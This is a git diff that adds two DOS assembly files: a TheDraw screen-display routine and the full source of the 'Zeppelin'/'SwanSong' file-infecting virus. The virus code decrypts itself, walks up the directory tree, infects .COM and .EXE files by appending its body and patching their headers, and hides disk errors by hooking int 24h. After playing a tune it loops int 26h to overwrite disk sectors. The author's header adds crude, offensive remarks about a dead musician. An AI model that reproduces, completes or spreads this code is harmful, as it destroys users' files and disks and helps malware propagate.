/dev/null +++ b/z/ZEP.ASM @@ -0,0 +1,241 @@ + +PAGE 59,132 + +; +; +; ZEP +; +; Created: 12-Nov-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 0A0h +data_9e equ 418h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +zep proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 216h + db 2 +data_4 dw 0 + db 'TheDraw COM file Screen Save' + db 1Ah +data_5 db 'Unsupported Video Mode', 0Dh, 0Ah + db '$' +loc_1: + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_ret_21 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 + + +loc_ret_21: + retn +data_6 db 9 + db 10h, 19h, 45h, 18h, 19h, 1Bh + db 01h,0D5h,0CDh,0CDh,0B8h, 04h + db 0F3h, 09h,0A9h, 04h, 9Dh + db 9 + db 0AAh, 04h,0F2h, 01h,0D5h,0CDh + db 0CDh,0B8h, 19h, 1Ch, 18h, 19h + db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh + db 20h, 09h, 5Ch, 04h,0F6h, 09h + db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah + db 0CDh,0B8h, 19h, 13h, 18h, 19h + db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh + db 19h, 03h, 0Fh,0D2h,0B7h, 19h + db 04h,0D6h, 1Ah, 03h,0C4h,0B7h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 04h, 01h,0D4h, 1Ah + db 0Eh,0CDh,0BBh, 19h, 03h, 18h + db 19h, 03h,0BAh, 19h, 12h, 07h + db 0BAh,0BAh, 19h, 04h,0BAh, 19h + db 03h,0BDh, 20h,0BAh,0BAh, 19h + db 02h,0D3h,0B7h, 19h, 13h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h + db 04h, 19h, 07h, 08h,0BAh,0B6h + db 19h, 04h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 03h,0BAh + db 19h, 07h, 0Bh, 1Ah, 02h, 04h + db 19h, 08h, 01h,0BAh, 19h, 03h + db 18h,0D6h,0C4h,0C4h, 20h,0BAh + db 19h, 12h, 08h,0BAh,0D3h, 19h + db 02h,0B7h, 20h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh,0D3h, 19h, 02h + db 0D6h,0BDh, 19h, 13h, 01h,0BAh + db 20h,0C4h,0C4h,0B7h, 18h,0D3h + db 0C4h,0C4h,0C4h,0BDh, 19h, 12h + db 08h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D0h, 1Ah, 03h,0C4h,0BDh + db 19h, 14h, 01h,0D3h,0C4h,0C4h + db 0C4h,0BDh, 18h, 04h, 1Ah, 04h + db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah + db 04h,0C4h,0B7h, 20h,0D6h, 1Ah + db 03h,0C4h,0B7h, 20h,0D2h,0D2h + db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h + db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h + db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h + db 0D2h,0B7h, 19h, 04h,0D2h, 20h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 03h, 04h, 1Ah, 04h + db 3Ch, 18h, 01h,0D6h,0C4h,0C4h + db 0C4h,0B7h, 19h, 07h, 07h,0D6h + db 0C4h,0BDh + dd 319BA20h ; Data table (indexed access) + db 0BDh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh, 19h, 03h,0BDh + db 20h,0BAh,0BAh, 19h, 04h,0BAh + db 20h, 20h,0BAh,0BAh, 19h, 02h + db 0BAh, 19h, 03h, 01h,0D6h,0C4h + db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h + db 0C4h, 20h,0BAh, 19h, 06h, 08h + db 58h, 19h, 03h,0C7h,0C4h,0B6h + db 19h, 03h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 04h,0BAh + db 20h, 20h,0BAh,0B6h, 19h, 02h + db 0BAh, 19h, 03h, 01h,0BAh, 20h + db 0C4h,0C4h,0BDh, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D6h,0C4h + db 0BDh, 19h, 04h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh, 19h, 05h,0BAh + db 19h, 05h,0BAh, 19h, 03h,0B7h + db 20h,0BAh,0D3h, 19h, 02h,0B7h + db 20h,0BAh, 20h, 20h,0BAh,0D3h + db 19h, 02h,0BAh, 19h, 03h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D3h, 1Ah + db 04h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0BDh, 19h + db 05h,0BDh, 19h, 05h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D0h, 20h + db 20h,0D0h, 19h, 03h,0D0h, 19h + db 03h, 01h,0BAh, 19h, 03h, 18h + db 19h, 03h,0C8h, 1Ah, 15h,0CDh + db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h + db 0CDh,0BCh, 19h, 03h, 18h, 19h + db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h + db 0F7h, 09h, 2Fh, 04h,0EAh, 09h + db 5Ch, 04h, 1Ah, 03h,0F7h, 01h + db 0CDh,0BEh, 19h, 1Bh, 18h + +zep endp + +seg_a ends + + + + end start diff --git a/z/ZEPPELIN.ASM b/z/ZEPPELIN.ASM new file mode 100755 index 0000000..b3754f1 --- /dev/null +++ b/z/ZEPPELIN.ASM @@ -0,0 +1,674 @@ +;************************************************************************** +; +;The Zeppelin Virus September 25, 1992 +;[MPC] Generated... +;Created by... pAgE +;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made! +;Incidently. He died on this date in 1980! Got drunk and strangled on a +;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL... +;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of +;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS +;ThAt yA'll uSe, ArE a KicK.... +; +;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS... +; GeT'S in ThE bl00d DoEsn't it?------->^^^^^ +; +;Here it is... +;It's not much, but in the hands off a knowledgeable Vx WRiTeR....... +;I'll keep workin' on it and see what I can do. In the mean time, have fun! +;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF. +; +;But...If that's not good enough, well then - hEy! - BLoW mE! +; +;*************************************************************************** + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'IS' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov di,offset startencrypt ; start of decryption + mov si,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,35h ; xor word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + dec si ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: + pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],5 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + ;mov ah,2ah ; Get current date + ;int 21h + ;cmp dh,9 ; Check month + ;jb act_two + ;cmp dl,25 ; Check date + ;jb act_two + ;cmp cx,1992 ; Check year + ;jb act_two + ;cmp al,0 ; Check date of week + ;jb activate + + ;mov ah,2ch ; Get current time + ;int 21h + ;cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +exe_mask db '*.exe',0 +com_mask db '*.com',0 +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 216h + db 2 +data_4 dw 0 + db 'Ripped this Motherfucker off' + db 1Ah +data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah + db '$' +loc_1: + + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_new_25 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 +loc_new_25: + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: +activate endp + + mov ax,0002h ; OH! Look at this! Mr. Memorial + mov cx,0001h ; has just transformed into an + cli ; ASSHoLe!!! + cwd ; NuKe that HD "puppy-mullet" +trash_loop: int 026h ; Int 26h...Absolute FACE-RAPE + dec ax ; We really did let him off easy! + cmp ax,-1 ; Could have seriously trashed + jne trash_loop ; his happy ass................ + sti ; --->>pAgE<<---- + + jmp exit_virus + +creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS +virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!! +author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!! + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,20h ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA + cmp ax,(heap-decrypt) ; Is it too small? + jb find_next + + mov bx,word ptr [bp+buffer+1] ;get jmp location + add bx,(heap-decrypt+1) ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax,(heap-decrypt) ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,(heap-decrypt) ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data00 dw 2000,8,2500,8,2000,14,2500,14 + ;dw 2500,14,3000,4,4000,24,3500,12,4000,6 + ;dw 3500,12,4000,4,4500,10,5000,4 + ;dw 5500,15,3000,8,3500,20,3000,8,3500,50 + ;dw 2000,8,2500,8,2000,14,2500,14 + ;dw 2500,14,3000,4,4000,24,3500,12,4000,6 + ;dw 3500,12,4000,4,4500,10,5000,4 + ;dw 5500,15,3000,8,3500,20,3000,8,3500,50 + ;dw 2000,8,2500,8,2000,14,2500,14 + ;dw 2500,14,3000,4,4000,24,3500,12,4000,6 + ;dw 3500,12,4000,4,4500,10,5000,4 + ;dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 0 + +data_6 db 9 + db 10h, 19h, 45h, 18h, 19h, 1Bh + db 01h,0D5h,0CDh,0CDh,0B8h, 04h + db 0F3h, 09h,0A9h, 04h, 9Dh + db 9 + db 0AAh, 04h,0F2h, 01h,0D5h,0CDh + db 0CDh,0B8h, 19h, 1Ch, 18h, 19h + db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh + db 20h, 09h, 5Ch, 04h,0F6h, 09h + db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah + db 0CDh,0B8h, 19h, 13h, 18h, 19h + db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh + db 19h, 03h, 0Fh,0D2h,0B7h, 19h + db 04h,0D6h, 1Ah, 03h,0C4h,0B7h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 04h, 01h,0D4h, 1Ah + db 0Eh,0CDh,0BBh, 19h, 03h, 18h + db 19h, 03h,0BAh, 19h, 12h, 07h + db 0BAh,0BAh, 19h, 04h,0BAh, 19h + db 03h,0BDh, 20h,0BAh,0BAh, 19h + db 02h,0D3h,0B7h, 19h, 13h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h + db 04h, 19h, 07h, 08h,0BAh,0B6h + db 19h, 04h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 03h,0BAh + db 19h, 07h, 0Bh, 1Ah, 02h, 04h + db 19h, 08h, 01h,0BAh, 19h, 03h + db 18h,0D6h,0C4h,0C4h, 20h,0BAh + db 19h, 12h, 08h,0BAh,0D3h, 19h + db 02h,0B7h, 20h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh,0D3h, 19h, 02h + db 0D6h,0BDh, 19h, 13h, 01h,0BAh + db 20h,0C4h,0C4h,0B7h, 18h,0D3h + db 0C4h,0C4h,0C4h,0BDh, 19h, 12h + db 08h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D0h, 1Ah, 03h,0C4h,0BDh + db 19h, 14h, 01h,0D3h,0C4h,0C4h + db 0C4h,0BDh, 18h, 04h, 1Ah, 04h + db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah + db 04h,0C4h,0B7h, 20h,0D6h, 1Ah + db 03h,0C4h,0B7h, 20h,0D2h,0D2h + db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h + db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h + db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h + db 0D2h,0B7h, 19h, 04h,0D2h, 20h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 03h, 04h, 1Ah, 04h + db 3Ch, 18h, 01h,0D6h,0C4h,0C4h + db 0C4h,0B7h, 19h, 07h, 07h,0D6h + db 0C4h,0BDh + dd 319BA20h ; Data table (indexed access) + db 0BDh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh, 19h, 03h,0BDh + db 20h,0BAh,0BAh, 19h, 04h,0BAh + db 20h, 20h,0BAh,0BAh, 19h, 02h + db 0BAh, 19h, 03h, 01h,0D6h,0C4h + db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h + db 0C4h, 20h,0BAh, 19h, 06h, 08h + db 58h, 19h, 03h,0C7h,0C4h,0B6h + db 19h, 03h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 04h,0BAh + db 20h, 20h,0BAh,0B6h, 19h, 02h + db 0BAh, 19h, 03h, 01h,0BAh, 20h + db 0C4h,0C4h,0BDh, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D6h,0C4h + db 0BDh, 19h, 04h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh, 19h, 05h,0BAh + db 19h, 05h,0BAh, 19h, 03h,0B7h + db 20h,0BAh,0D3h, 19h, 02h,0B7h + db 20h,0BAh, 20h, 20h,0BAh,0D3h + db 19h, 02h,0BAh, 19h, 03h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D3h, 1Ah + db 04h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0BDh, 19h + db 05h,0BDh, 19h, 05h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D0h, 20h + db 20h,0D0h, 19h, 03h,0D0h, 19h + db 03h, 01h,0BAh, 19h, 03h, 18h + db 19h, 03h,0C8h, 1Ah, 15h,0CDh + db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h + db 0CDh,0BCh, 19h, 03h, 18h, 19h + db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h + db 0F7h, 09h, 2Fh, 04h,0EAh, 09h + db 5Ch, 04h, 1Ah, 03h,0F7h, 01h + db 0CDh,0BEh, 19h, 1Bh, 18h + +data_1e equ 0A0h +dot_dot db '..',0 +heap: +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +finish label near +end entry_point + + + +; Yeah, the main problem is reproducing the effect in an infected file so +; thta when IT runs, IT too will display... That's the GLITCH... +; +; Also, I had stuck INT 27H in somewhere around the EXIT .EXE... +; I don't remember, but it would go resident and suck up memory, yet +; since it hooked no interuppts, it just sat there... +; Feel free to STUDY this code and distribute it feely for educational +; purposes, because in spite of the kidding...I don't "hAcK"... for lack +; of a better word...--->>pAgE<<--- +